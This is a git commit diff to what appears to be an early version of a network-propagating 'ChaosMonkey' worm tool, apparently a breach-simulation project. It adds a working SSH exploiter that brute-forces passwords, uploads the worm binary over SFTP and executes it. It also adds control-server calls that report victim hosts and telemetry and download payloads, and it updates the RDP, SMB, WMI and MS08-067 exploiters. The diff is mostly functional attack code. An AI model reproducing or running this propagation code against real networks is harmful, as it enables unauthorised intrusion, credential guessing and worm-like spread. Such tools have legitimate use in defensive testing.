- support for virtual files (monkeyfs)
- ssh exploitation
- some linux support issues fixed
This commit is contained in:
Barak Hoffer 2015-09-29 17:58:06 +03:00
parent 7697f5fce9
commit 8dc7b38d56
17 changed files with 576 additions and 72 deletions

1
.gitignore vendored
View File

@ -27,7 +27,6 @@ var/
# Usually these files are written by a python script from a template
# before PyInstaller builds the exe, so as to inject date/other infos into it.
*.manifest
*.spec
# Installer logs
pip-log.txt

View File

@ -3,29 +3,122 @@ import json
import random
import logging
import requests
from config import WormConfiguration
import platform
import monkeyfs
from network.info import local_ips
from socket import gethostname, gethostbyname_ex
from config import WormConfiguration, Configuration, GUID
__author__ = 'itamar'
__author__ = 'hoffer'
requests.packages.urllib3.disable_warnings()
LOG = logging.getLogger(__name__)
DOWNLOAD_CHUNK = 1024
class ControlClient(object):
@staticmethod
def get_control_config():
try:
reply = requests.get("http://%s/orders/%s" % (WormConfiguration.command_server,
"".join([chr(random.randint(0,255)) for _ in range(32)]).encode("base64").strip()))
@staticmethod
def wakeup(parent=None):
for server in WormConfiguration.command_servers:
try:
hostname = gethostname()
if None == parent:
parent = GUID
WormConfiguration.current_server = server
monkey = { 'guid': GUID,
'hostname' : hostname,
'ip_addresses' : local_ips(),
'description' : " ".join(platform.uname()),
'config' : WormConfiguration.as_dict(),
'parent' : parent
}
reply = requests.post("https://%s/api/monkey" % (server,),
data=json.dumps(monkey),
headers={'content-type' : 'application/json'},
verify=False)
break
except Exception, exc:
LOG.warn("Error connecting to control server %s: %s",
server, exc)
@staticmethod
def keepalive():
try:
reply = requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
data=json.dumps({}),
headers={'content-type' : 'application/json'},
verify=False)
except Exception, exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
return {}
@staticmethod
def send_telemetry(tele_type='general',data=''):
try:
telemetry = {'monkey_guid': GUID, 'telem_type': tele_type, 'data' : data}
reply = requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,),
data=json.dumps(telemetry),
headers={'content-type' : 'application/json'},
verify=False)
except Exception, exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.command_server, exc)
return {}
WormConfiguration.current_server, exc)
@staticmethod
def load_control_config():
try:
reply = requests.get("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), verify=False)
except Exception, exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
return
try:
return json.loads(reply._content)
except ValueError, exc:
WormConfiguration.from_dict(reply.json().get('config'))
except Exception, exc:
LOG.warn("Error parsing JSON reply from control server %s (%s): %s",
WormConfiguration.command_server, reply._content, exc)
return {}
WormConfiguration.current_server, reply._content, exc)
@staticmethod
def download_monkey_exe(host):
try:
reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,),
data=json.dumps(host.as_dict()),
headers={'content-type' : 'application/json'},
verify=False)
if 200 == reply.status_code:
result_json = reply.json()
filename = result_json.get('filename')
if not filename:
return None
size = result_json.get('size')
dest_file = monkeyfs.virtual_path(filename)
if monkeyfs.isfile(dest_file) and size == monkeyfs.getsize(dest_file):
return dest_file
else:
download = requests.get("https://%s/api/monkey/download/%s" % (WormConfiguration.current_server, filename),
verify=False)
with monkeyfs.open(dest_file, 'wb') as file_obj:
for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK):
if chunk:
file_obj.write(chunk)
file_obj.flush()
if size == monkeyfs.getsize(dest_file):
return dest_file
except Exception, exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
return None

View File

@ -8,11 +8,15 @@ import pprint
import logging
import subprocess
from ctypes import c_char_p
from win32process import DETACHED_PROCESS
from control import ControlClient
from model import MONKEY_CMDLINE
from config import WormConfiguration
if "win32" == sys.platform:
from win32process import DETACHED_PROCESS
else:
DETACHED_PROCESS = 0
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
@ -21,14 +25,13 @@ MOVEFILE_DELAY_UNTIL_REBOOT = 4
class MonkeyDrops(object):
def __init__(self, args):
if 1 < len(args):
LOG.debug("Invalid arguments count for dropper")
raise ValueError("Invalid arguments count for dropper")
if args:
dest_path = os.path.expandvars(args[0])
else:
dest_path = os.path.expandvars(WormConfiguration.dropper_target_path)
dest_path = os.path.expandvars(WormConfiguration.dropper_target_path if sys.platform == "win32" \
else WormConfiguration.dropper_target_path_linux)
self._monkey_args = args[1:]
self._config = {'source_path': os.path.abspath(sys.argv[0]),
'destination_path': args[0]}
@ -36,8 +39,6 @@ class MonkeyDrops(object):
def initialize(self):
LOG.debug("Dropper is running with config:\n%s", pprint.pformat(self._config))
new_config = ControlClient.get_control_config()
def start(self):
# we copy/move only in case path is different
file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower())
@ -87,6 +88,9 @@ class MonkeyDrops(object):
monkey_cmdline = MONKEY_CMDLINE % {'monkey_path': self._config['destination_path'],
}
if 0 != len(self._monkey_args):
monkey_cmdline = "%s %s" % (monkey_cmdline, " ".join(self._monkey_args))
monkey_process = subprocess.Popen(monkey_cmdline, shell=True,
stdin=None, stdout=None, stderr=None,
close_fds=True, creationflags=DETACHED_PROCESS)

View File

@ -1,16 +1,20 @@
from abc import ABCMeta, abstractmethod
__author__ = 'itamar'
class HostExploiter(object):
__metaclass__ = ABCMeta
_target_os_type = []
def is_os_supported(self, host):
return host.os.get('type') in self._target_os_type
@abstractmethod
def exploit_host(self, host):
def exploit_host(self, host, src_path=None):
raise NotImplementedError()
from win_ms08_067 import Ms08_067_Exploiter
from wmiexec import WmiExploiter
from smbexec import SmbExploiter
from rdpgrinder import RdpExploiter
from rdpgrinder import RdpExploiter
from sshexec import SSHExploiter

View File

@ -13,12 +13,15 @@ from exploit import HostExploiter
from exploit.tools import HTTPTools
from model import RDP_CMDLINE_HTTP_BITS
from model.host import VictimHost
from network.tools import check_port_tcp
from exploit.tools import get_target_monkey
__author__ = 'hoffer'
KEYS_INTERVAL = 0.1
MAX_WAIT_FOR_UPDATE = 120
KEYS_SENDER_SLEEP = 0.01
DOWNLOAD_TIMEOUT = 60
RDP_PORT = 3389
LOG = getLogger(__name__)
def twisted_log_func(*message, **kw):
@ -147,7 +150,8 @@ class CMDClientFactory(rdp.ClientFactory):
self._domain = domain
self._keyboard_layout = "en"
# key sequence: WINKEY+R,cmd /v,Enter,<command>&exit,Enter
self._keys = [ScanCodeEvent(91,True,True),
self._keys = [SleepEvent(1),
ScanCodeEvent(91,True,True),
ScanCodeEvent(19,True),
ScanCodeEvent(19,False),
ScanCodeEvent(91,False,True), WaitUpdateEvent()] + str_to_keys("cmd /v") + [WaitUpdateEvent(), ScanCodeEvent(28,True),
@ -205,16 +209,36 @@ class CMDClientFactory(rdp.ClientFactory):
self.done_event.set()
class RdpExploiter(HostExploiter):
_target_os_type = ['windows']
def __init__(self):
self._config = __import__('config').WormConfiguration
def is_os_supported(self, host):
if host.os.get('type') in self._target_os_type:
return True
if not host.os.get('type'):
is_open,_ = check_port_tcp(host.ip_addr, RDP_PORT)
if is_open:
host.os['type'] = 'windows'
return True
return False
def exploit_host(self, host, src_path, port=3389):
def exploit_host(self, host, src_path=None):
global g_reactor
assert isinstance(host, VictimHost)
if not g_reactor.is_alive():
g_reactor.daemon = True
g_reactor.start()
is_open,_ = check_port_tcp(host.ip_addr, RDP_PORT)
if not is_open:
LOG.info("RDP port is closed on %r, skipping", host)
return False
src_path = src_path or get_target_monkey(host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host)
return False
# create server for http download.
http_path, http_thread = HTTPTools.create_transfer(host, src_path)
@ -228,6 +252,10 @@ class RdpExploiter(HostExploiter):
passwords.remove(known_password)
passwords.insert(0, known_password)
if not g_reactor.is_alive():
g_reactor.daemon = True
g_reactor.start()
exploited = False
for password in passwords:
try:
@ -239,12 +267,13 @@ class RdpExploiter(HostExploiter):
client_factory = CMDClientFactory(self._config.psexec_user, password, "", command)
reactor.connectTCP(host.ip_addr, port, client_factory)
reactor.callFromThread(reactor.connectTCP, host.ip_addr, RDP_PORT, client_factory)
client_factory.done_event.wait()
if client_factory.success:
exploited = True
host.learn_credentials(self._config.psexec_user, password)
break
except Exception, exc:

View File

@ -1,17 +1,10 @@
#!/usr/bin/env python
#############################################################################
# MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)
# www.hackingspirits.com
# www.coffeeandsecurity.com
# Email: d3basis.m0hanty @ gmail.com
#############################################################################
import sys
from logging import getLogger
from model.host import VictimHost
from model import MONKEY_CMDLINE_DETACHED, DROPPER_CMDLINE_DETACHED
from exploit import HostExploiter
from exploit.tools import SmbTools
from exploit.tools import SmbTools, get_target_monkey
from network import SMBFinger
try:
from impacket import smb
@ -32,6 +25,8 @@ except ImportError, exc:
LOG = getLogger(__name__)
class SmbExploiter(HostExploiter):
_target_os_type = ['windows']
KNOWN_PROTOCOLS = {
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
@ -41,9 +36,31 @@ class SmbExploiter(HostExploiter):
def __init__(self):
self._config = __import__('config').WormConfiguration
def exploit_host(self, host, src_path):
def is_os_supported(self, host):
if host.os.get('type') in self._target_os_type:
return True
if not host.os.get('type'):
is_smb_open,_ = check_port_tcp(host.ip_addr, 445)
if is_smb_open:
smb_finger = SMBFinger()
smb_finger.get_host_fingerprint(host)
else:
is_nb_open,_ = check_port_tcp(host.ip_addr, 139)
if is_nb_open:
host.os['type'] = 'windows'
return super(HostExploiter, self).is_os_supported(host)
return False
def exploit_host(self, host, src_path=None):
assert isinstance(host, VictimHost)
src_path = src_path or get_target_monkey(host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host)
return False
passwords = list(self._config.psexec_passwords[:])
known_password = host.get_credentials(self._config.psexec_user)
if known_password is not None:

View File

@ -0,0 +1,106 @@
import os
import paramiko
import monkeyfs
import logging
from exploit import HostExploiter
from model import MONKEY_ARG
from exploit.tools import get_target_monkey
__author__ = 'hoffer'
LOG = logging.getLogger(__name__)
class SSHExploiter(HostExploiter):
_target_os_type = ['linux', None]
def __init__(self):
self._config = __import__('config').WormConfiguration
def exploit_host(self, host, src_path=None):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
passwords = list(self._config.ssh_passwords[:])
known_password = host.get_credentials(self._config.ssh_user)
if known_password is not None:
if known_password in passwords:
passwords.remove(known_password)
passwords.insert(0, known_password)
exploited = False
for password in passwords:
try:
ssh.connect(host.ip_addr,
username=self._config.ssh_user,
password=password)
LOG.debug("Successfully logged in %r using SSH (%s : %s)",
host, self._config.ssh_user, password)
host.learn_credentials(self._config.ssh_user, password)
exploited = True
break
except Exception, exc:
LOG.debug("Error logging into victim %r with user"
" %s and password '%s': (%s)", host,
self._config.ssh_user, password, exc)
continue
if not exploited:
LOG.debug("Exploiter SSHExploiter is giving up...")
return False
if not host.os.get('type'):
try:
_, stdout, _ = ssh.exec_command('uname -o')
uname_os = stdout.read().lower().strip()
if 'linux' in uname_os:
host.os['type'] = 'linux'
else:
LOG.info("SSH Skipping unknown os: %s", uname_os)
return False
except Exception, exc:
LOG.debug("Error running uname os commad on victim %r: (%s)", host, exc)
return False
if not host.os.get('machine'):
try:
_, stdout, _ = ssh.exec_command('uname -m')
uname_machine = stdout.read().lower().strip()
if '' != uname_machine:
host.os['machine'] = uname_machine
except Exception, exc:
LOG.debug("Error running uname machine commad on victim %r: (%s)", host, exc)
src_path = src_path or get_target_monkey(host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host)
return False
try:
ftp = ssh.open_sftp()
with monkeyfs.open(src_path) as file_obj:
ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path))
ftp.chmod(self._config.dropper_target_path_linux, 0777)
ftp.close()
except Exception, exc:
LOG.debug("Error uploading file into victim %r: (%s)", host, exc)
return False
try:
cmdline = "%s %s&" % (self._config.dropper_target_path_linux, MONKEY_ARG)
ssh.exec_command(cmdline)
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux, host, cmdline)
ssh.close()
return True
except Exception, exc:
LOG.debug("Error running monkey on victim %r: (%s)", host, exc)
return False

View File

@ -6,7 +6,9 @@ import logging
import os.path
import socket
import urllib
import monkeyfs
from difflib import get_close_matches
from network import local_ips
from transport import HTTPServer
from impacket.dcerpc.v5 import transport, srvs
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
@ -160,10 +162,10 @@ class WmiTools(object):
class SmbTools(object):
@staticmethod
def copy_file(host, username, password, src_path, dst_path):
assert os.path.isfile(src_path), "Source file to copy (%s) is missing" % (src_path, )
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path, )
config = __import__('config').WormConfiguration
src_file_size = os.stat(src_path).st_size
src_file_size = monkeyfs.getsize(src_path)
smb, dialect = SmbTools.new_smb_connection(host, username, password)
if not smb:
@ -270,7 +272,7 @@ class SmbTools(object):
pass # file isn't found on remote victim, moving on
try:
with open(src_path, 'rb') as source_file:
with monkeyfs.open(src_path, 'rb') as source_file:
smb.putFile(share_name, remote_path, source_file.read)
file_uploaded = True
@ -352,11 +354,27 @@ class HTTPTools(object):
@staticmethod
def create_transfer(host, src_path, local_ip=None, local_port=4444):
if None == local_ip:
local_hostname = socket.gethostname()
local_ip = get_close_matches(host.ip_addr, socket.gethostbyname_ex(local_hostname)[2])[0]
local_ip = get_close_matches(host.ip_addr, local_ips())[0]
httpd = HTTPServer(local_ip, local_port, src_path)
httpd.daemon = True
httpd.start()
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
def get_target_monkey(host):
from control import ControlClient
if host.monkey_exe:
return host.monkey_exe
if not host.os.get('type'):
return None
cc_download = ControlClient.download_monkey_exe(host)
if host.os.get('machine') and cc_download:
host.monkey_exe = cc_download
return cc_download

View File

@ -14,7 +14,7 @@ from logging import getLogger
from model.host import VictimHost
from model import DROPPER_CMDLINE, MONKEY_CMDLINE
from exploit import HostExploiter
from exploit.tools import SmbTools
from exploit.tools import SmbTools, get_target_monkey
try:
from impacket import smb
@ -163,15 +163,42 @@ class SRVSVC_Exploit(object):
return dce_packet
class Ms08_067_Exploiter(HostExploiter):
_target_os_type = ['windows']
_windows_versions = {'Windows Server 2003 3790 Service Pack 2' : WindowsVersion.Windows2003_SP2,
'Windows Server 2003 R2 3790 Service Pack 2' : WindowsVersion.Windows2003_SP2}
def __init__(self):
self._config = __import__('config').WormConfiguration
def exploit_host(self, host, src_path):
def is_os_supported(self, host):
if host.os.get('type') in self._target_os_type and \
host.os.get('version') in self._windows_versions.keys():
return True
if not host.os.get('type') or (host.os.get('type') in self._target_os_type and \
not host.os.get('version')):
is_smb_open,_ = check_port_tcp(host.ip_addr, 445)
if is_smb_open:
smb_finger = SMBFinger()
if smb_finger.get_host_fingerprint(host):
return host.os.get('type') in self._target_os_type and \
host.os.get('version') in self._windows_versions.keys()
return False
def exploit_host(self, host, src_path=None):
assert isinstance(host, VictimHost)
src_path = src_path or get_target_monkey(host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host)
return False
os_version = self._windows_versions.get(host.os.get('version'), WindowsVersion.Windows2003_SP2)
exploited = False
for _ in range(self._config.ms08_067_exploit_attempts):
exploit = SRVSVC_Exploit(target_addr=host.ip_addr)
exploit = SRVSVC_Exploit(target_addr=host.ip_addr, os_version=os_version)
try:
sock = exploit.start()

View File

@ -6,18 +6,26 @@ import traceback
from model import DROPPER_CMDLINE, MONKEY_CMDLINE, MONKEY_CMDLINE_HTTP
from model.host import VictimHost
from exploit import HostExploiter
from exploit.tools import SmbTools, WmiTools, HTTPTools, AccessDeniedException
from exploit.tools import SmbTools, WmiTools, HTTPTools, AccessDeniedException, get_target_monkey
LOG = logging.getLogger(__name__)
class WmiExploiter(HostExploiter):
_target_os_type = ['windows']
def __init__(self):
self._config = __import__('config').WormConfiguration
@WmiTools.dcom_wrap
def exploit_host(self, host, src_path):
def exploit_host(self, host, src_path=None):
assert isinstance(host, VictimHost)
src_path = src_path or get_target_monkey(host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host)
return False
passwords = list(self._config.psexec_passwords[:])
known_password = host.get_credentials(self._config.psexec_user)
if known_password is not None:
@ -89,7 +97,6 @@ class WmiExploiter(HostExploiter):
LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline)
success = True
raw_input()
else:
LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline)

View File

@ -4,10 +4,12 @@ import sys
import logging
import traceback
import logging.config
from config import WormConfiguration
from config import WormConfiguration, EXTERNAL_CONFIG_FILE
from model import MONKEY_ARG, DROPPER_ARG
from dropper import MonkeyDrops
from monkey import ChaosMonkey
import getopt
import json
__author__ = 'itamar'
@ -36,7 +38,27 @@ def main():
return True
monkey_mode = sys.argv[1]
monkey_args = sys.argv[2:]
if not monkey_mode in [MONKEY_ARG, DROPPER_ARG]:
return True
config_file = EXTERNAL_CONFIG_FILE
opts, monkey_args = getopt.getopt(sys.argv[2:], "c:", ["config="])
for op, val in opts:
if op in ("-c", "--config"):
config_file = val
break
if os.path.isfile(config_file):
# using print because config can also change log locations
print "Loading config from %s." % config_file
try:
with open(config_file) as config_fo:
json_dict = json.load(config_fo)
WormConfiguration.from_dict(json_dict)
except ValueError:
print "Error loading config, using default."
try:
if MONKEY_ARG == monkey_mode:
@ -71,6 +93,12 @@ def main():
try:
monkey.start()
if WormConfiguration.serialize_config:
with open(config_file, 'w') as config_fo:
json_dict = WormConfiguration.as_dict()
json.dump(json_dict, config_fo)
return True
finally:
monkey.cleanup()

View File

@ -2,10 +2,12 @@
import sys
import time
import logging
import platform
from system_singleton import SystemSingleton
from control import ControlClient
from config import WormConfiguration
from config import WormConfiguration, EXTERNAL_CONFIG_FILE
from network.network_scanner import NetworkScanner
import getopt
__author__ = 'itamar'
@ -26,6 +28,8 @@ class ChaosMonkey(object):
self._exploited_machines = set()
self._fail_exploitation_machines = set()
self._singleton = SystemSingleton()
self._parent = None
self._args = args
def initialize(self):
LOG.info("WinWorm is initializing...")
@ -33,27 +37,50 @@ class ChaosMonkey(object):
if not self._singleton.try_lock():
raise Exception("Another instance of the monkey is already running")
self._network = NetworkScanner()
self._network.initialize()
self._keep_running = True
self._exploiters = [exploiter() for exploiter in WormConfiguration.exploiter_classes]
self._dropper_path = sys.argv[0]
opts, self._args = getopt.getopt(self._args, "p:", ["parent="])
for op, val in opts:
if op in ("-p", "--parent"):
self._parent = val
break
self._keep_running = True
self._network = NetworkScanner()
self._dropper_path = sys.argv[0]
self._os_type = platform.system().lower()
self._machine = platform.machine().lower()
ControlClient.wakeup(self._parent)
ControlClient.load_control_config()
new_config = ControlClient.get_control_config()
def start(self):
LOG.info("WinWorm is running...")
for _ in xrange(WormConfiguration.max_iterations):
new_config = ControlClient.get_control_config()
ControlClient.keepalive()
ControlClient.load_control_config()
if not self._keep_running:
self._network.initialize()
self._exploiters = [exploiter() for exploiter in WormConfiguration.exploiter_classes]
self._fingerprint = [fingerprint() for fingerprint in WormConfiguration.finger_classes]
if not self._keep_running or not WormConfiguration.alive:
break
machines = self._network.get_victim_machines(WormConfiguration.scanner_class,
max_find=WormConfiguration.victims_max_find)
for machine in machines:
for finger in self._fingerprint:
LOG.info("Trying to get OS fingerprint from %r with module %s",
machine, finger.__class__.__name__)
finger.get_host_fingerprint(machine)
ControlClient.send_telemetry('scan', {'machine': machine.as_dict(),
'scanner' : WormConfiguration.scanner_class.__name__})
# skip machines that we've already exploited
if machine in self._exploited_machines:
LOG.debug("Skipping %r - already exploited",
@ -66,11 +93,16 @@ class ChaosMonkey(object):
successful_exploiter = None
for exploiter in self._exploiters:
if not exploiter.is_os_supported(machine):
LOG.info("Skipping exploiter %s host:%r, os is not supported",
exploiter.__class__.__name__, machine)
continue
LOG.info("Trying to exploit %r with exploiter %s...",
machine, exploiter.__class__.__name__)
try:
if exploiter.exploit_host(machine, self._dropper_path):
if exploiter.exploit_host(machine):
successful_exploiter = exploiter
break
else:
@ -83,6 +115,8 @@ class ChaosMonkey(object):
if successful_exploiter:
self._exploited_machines.add(machine)
ControlClient.send_telemetry('exploit', {'machine': machine.__dict__,
'exploiter': successful_exploiter.__class__.__name__})
LOG.info("Successfully propagated to %s using %s",
machine, successful_exploiter.__class__.__name__)
@ -96,6 +130,7 @@ class ChaosMonkey(object):
else:
self._fail_exploitation_machines.add(machine)
time.sleep(WormConfiguration.timeout_between_iterations)
if self._keep_running:

53
chaos_monkey/monkeyfs.py Normal file
View File

@ -0,0 +1,53 @@
from io import BytesIO
import os
__author__ = 'hoffer'
MONKEYFS_PREFIX = 'monkeyfs://'
class VirtualFile(BytesIO):
_vfs = {} #virtual File-System
def __init__(self, name, mode = 'r', buffering = None):
if not name.startswith(MONKEYFS_PREFIX):
name = MONKEYFS_PREFIX + name
self.name = name
self._mode = mode
if VirtualFile._vfs.has_key(name):
super(VirtualFile, self).__init__(self._vfs[name])
else:
super(VirtualFile, self).__init__('')
def flush(self):
super(VirtualFile, self).flush()
VirtualFile._vfs[self.name] = self.getvalue()
@staticmethod
def getsize(path):
return len(VirtualFile._vfs[path])
@staticmethod
def isfile(path):
return VirtualFile._vfs.has_key(path)
def getsize(path):
if path.startswith(MONKEYFS_PREFIX):
return VirtualFile.getsize(path)
else:
return os.stat(path).st_size
def isfile(path):
if path.startswith(MONKEYFS_PREFIX):
return VirtualFile.isfile(path)
else:
return os.path.isfile(path)
def virtual_path(name):
return "%s%s" % (MONKEYFS_PREFIX, name)
def open(name, mode='r', buffering=-1):
#use normal open for regular paths, and our "virtual" open for monkeyfs:// paths
if name.startswith(MONKEYFS_PREFIX):
return VirtualFile(name, mode, buffering)
else:
return open(name, mode=mode, buffering=buffering)

View File

@ -0,0 +1,42 @@
import sys
import socket
import struct
import array
__author__ = 'hoffer'
if sys.platform == "win32":
def local_ips():
local_hostname = socket.gethostname()
return socket.gethostbyname_ex(local_hostname)[2]
else:
import fcntl
def local_ips():
result = []
try:
is_64bits = sys.maxsize > 2**32
struct_size = 40 if is_64bits else 32
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
max_possible = 8 # initial value
while True:
bytes = max_possible * struct_size
names = array.array('B', '\0' * bytes)
outbytes = struct.unpack('iL', fcntl.ioctl(
s.fileno(),
0x8912, # SIOCGIFCONF
struct.pack('iL', bytes, names.buffer_info()[0])
))[0]
if outbytes == bytes:
max_possible *= 2
else:
break
namestr = names.tostring()
for i in range(0, outbytes, struct_size):
addr = socket.inet_ntoa(namestr[i+20:i+24])
if not addr.startswith('127'):
result.append(addr)
#name of interface is (namestr[i:i+16].split('\0', 1)[0]
finally:
return result

View File

@ -4,6 +4,7 @@ import socket
import logging
from network import HostScanner
from config import WormConfiguration
from info import local_ips
__author__ = 'itamar'
@ -18,8 +19,7 @@ class NetworkScanner(object):
def initialize(self):
# get local ip addresses
local_hostname = socket.gethostname()
self._ip_addresses = socket.gethostbyname_ex(local_hostname)[2]
self._ip_addresses = local_ips()
if not self._ip_addresses:
raise Exception("Cannot find local IP address for the machine")

View File

@ -0,0 +1,44 @@
import socket
import select
DEFAULT_TIMEOUT = 30
BANNER_READ = 1024
def check_port_tcp(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
try:
sock.connect((ip, port))
except socket.error:
return (False, None)
banner = None
try:
if get_banner:
read_ready, _, _ = select.select([sock], [], [], timeout)
if len(read_ready) > 0:
banner = sock.recv(BANNER_READ)
except:
pass
sock.close()
return (True, banner)
def check_port_udp(ip, port, timeout=DEFAULT_TIMEOUT):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(timeout)
data = None
is_open = False
try:
sock.sendto("-", (ip, port))
data, _ = sock.recvfrom(BANNER_READ)
is_open = True
except:
pass
sock.close()
return (is_open, data)

View File

@ -1,6 +1,7 @@
import urllib, BaseHTTPServer, threading, os.path
import shutil
import struct
import monkeyfs
from logging import getLogger
__author__ = 'hoffer'
@ -39,7 +40,7 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
total += chunk
start_range += chunk
if f.tell() == os.fstat(f.fileno()).st_size:
if f.tell() == monkeyfs.getsize(self.filename):
self.report_download()
f.close()
@ -56,10 +57,7 @@ class FileServHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
return
f = None
try:
# Always read in binary mode. Opening files in text mode may cause
# newline translations, making the actual size of the content
# transmitted *less* than the content-length!
f = open(self.filename, 'rb')
f = monkeyfs.open(self.filename, 'rb')
except IOError:
self.send_error(404, "File not found")
return (None, 0, 0)